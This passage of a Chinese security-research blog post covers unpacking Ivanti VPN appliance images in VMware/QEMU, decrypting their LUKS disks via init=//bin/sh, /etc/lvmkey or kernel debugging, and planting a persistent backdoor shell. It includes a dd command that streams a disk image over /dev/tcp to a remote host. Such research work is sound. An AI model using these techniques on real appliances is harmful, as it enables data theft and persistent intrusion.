BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/{kernelnumber}/modules/</span></code><span leaf="">下已经存有相关驱动，其中就包括针对vmware、qemu 各类型网卡的驱动文件，安装即可(安装成功后，ifconfig 可看到eth0网卡)</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">#for vmware *</span><span leaf=""><br/></span><span leaf="">mount -t proc none /proc</span><span leaf=""><br/></span><span leaf="">/sbin/insmod /kernelnumber/modules/vmxnet.ko</span><span leaf=""><br/></span><span leaf="">/sbin/insmod /kernelnumber/modules/vmxnet3.ko</span><span leaf=""><br/></span><span leaf="">/sbin/ifconfig eth0 a.b.c.d netmask 255.255.255.0</span><span leaf=""><br/></span><span leaf="">ping -c 1 a.b.c.x</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""># for qemu *</span><span leaf=""><br/></span><span leaf=""># qemu add net interface</span><span leaf=""><br/></span><span leaf=""># qemu-system-x86_64 -serial stdio -device ich9-ahci,id=ahci -drive file=test.img,id=disk,if=none -device ide-hd,drive=disk,bus=ahci.0 -nic user,model=virtio-net-pci</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">mount -t proc none /proc</span><span leaf=""><br/></span><span leaf="">/sbin/insmod /kernelnumber/modules/virtio_net.ko</span><span leaf=""><br/></span><span leaf="">/sbin/ifconfig eth0 10.0.2.X</span><span leaf=""><br/></span><span leaf="">ping -c 1 10.0.2.2# 10.0.2.2 为virtio-net-pci模式下主机ip</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">之后可通过网络进行文件传输</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">dd if=/dev/loop6 bs=1M &gt; /dev/tcp/192.168.0.1/1337</span></code></pre><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">持久化后门</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">到这一步，实际上通过对ivanti的架构分析以及服务细节，已经可植入持久化的shell进入方式。</span><span leaf=""><br/></span><span leaf="">涉及磁盘的解密即可通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">lilo-pulse-secure-decrypt</span></code><span leaf="">等开源工具，以及逆向内核等方法分析细节。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">GRUB2</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">目前公开资料中针对</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ivanti 22.x</span></code><span leaf=""> </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">grub2</span></code><span leaf="">的加密文件系统解密方法，以及进入运行系统的方法较多。</span><span leaf=""><br/></span><span leaf="">最为方便的一种是直接修改虚拟机挂起后直接修改</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">vmem</span></code><span leaf="">文件（9.x系列使用该方法会直接导致重启），直接进入运行态的系统，结合对ivanti的分析，通过这一步再加修改、增加某些关键机制文件可在重启后直接获取shell入口方法。</span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">LUKS</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">GRUB2 自 2.00 版本开始原生支持 LUKS1 加密分区的解密，2.06 进一步支持 LUKS2 格式，提供更灵活的密钥管理和大扇区优化。也是目前在研究中最为常见的用于文件系统加密的方法，解密的主要方法是找到相关的lvmkey。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">目前针对invanti22.x的公开资料中主要是通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">init=//bin/sh</span></code><span leaf="">(早已修复)进入初始化系统，直接读取lvmkey，位于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/etc/lvmkey</span></code><span leaf="">中，后进行磁盘解密挂载</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><section><span leaf="">• </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(87, 107, 149);"><span leaf="">High Signal Detection and Exploitation of Ivanti&#39;s Pulse Connect Secure Auth Bypass &amp; RCE</span></span></section></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">或是swing师傅，通过逆向内核直接解密分区系统，提取lvmkey</span><span leaf=""><br/></span><span leaf="">-</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(87, 107, 149);"><span leaf="">CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析</span></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在笔者的研究经历中也有通过观察直接从内核调试中直接dump，以下进行详细阐述：</span><span leaf=""><br/></span><span leaf="">对某设备的磁盘进行挂载后发现，其初始化文件系统为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">data</span></code><span leaf="">，应是进行了加密</span></p></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100008354" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24609375" data-s="300,640" data-type="png" data-w="1280" style="width:561px;height:138px;" type="block" data-backw="578" data-backh="142" src="https://wechat2rss.xlab.app/img-proxy/?k=ee804132&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRNkHkYf5xou0xiaanwI6ZtyENciaDyMibJaH5JCHIBMticDQDNYgmsv7DuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008355" class="rich_pages wxw-img" data-ratio="0.19478098788443615" data-type="png" data-w="2146" style="box-sizing:border-box;border:1px solid rgba(0, 0, 0, 0.04);display:block;vertical-align:middle;max-width:100%;text-align:left;line-height:1.75;font-family:-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size:15px;margin:0.1em auto 0.5em;border-radius:8px;width:100%;" title="null" data-backw="281" data-backh="55" src="https://wechat2rss.xlab.app/img-proxy/?k=2dba17fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRB1WXYEIp2dmF0t9q7ic1W915Dx0CbNvqDjY87vebQukWSzlP11MHGDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">后通过qemu对其进行引导启动查看日志</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008372" class="rich_pages wxw-img" data-ratio="0.5537037037037037" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=3c254fbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR99OEicUpkobAGUW9wJX1eFz0Av7Qj6rEeFB4HoJfKvHcAM3ZbrwE8gA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">发现较为明显的关键字 &#34;Decryptrd&#34;，通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">binwalk -e kernel.img</span></code><span leaf="">，提取kernel，逆向分析</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100008376" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45925925925925926" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=dd2f6811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRF9KqdycdHIUtBeSgkLYr9DQGZJXsFP7XYWsWAdx7ickFtsKOUFNgc7A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100008349" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3421985815602837" data-s="300,640" data-type="png" data-w="1128" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=30595444&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR4yo8MLXHhWFSJl7Zw7h9opYmDKuiadHQibWJNgqfYgCAIxLJf2mHjlHA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对kernel进行调试，dump出解密后的初始化文件系统</span></p></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100008353" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28203125" data-s="300,640" data-type="png" data-w="1280" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=43217795&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR7Uj7zkF90PoeDIsL5CGHHiaoHlkH0E6ibsTbia5bSYhO5ThMo1cRCAgKw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 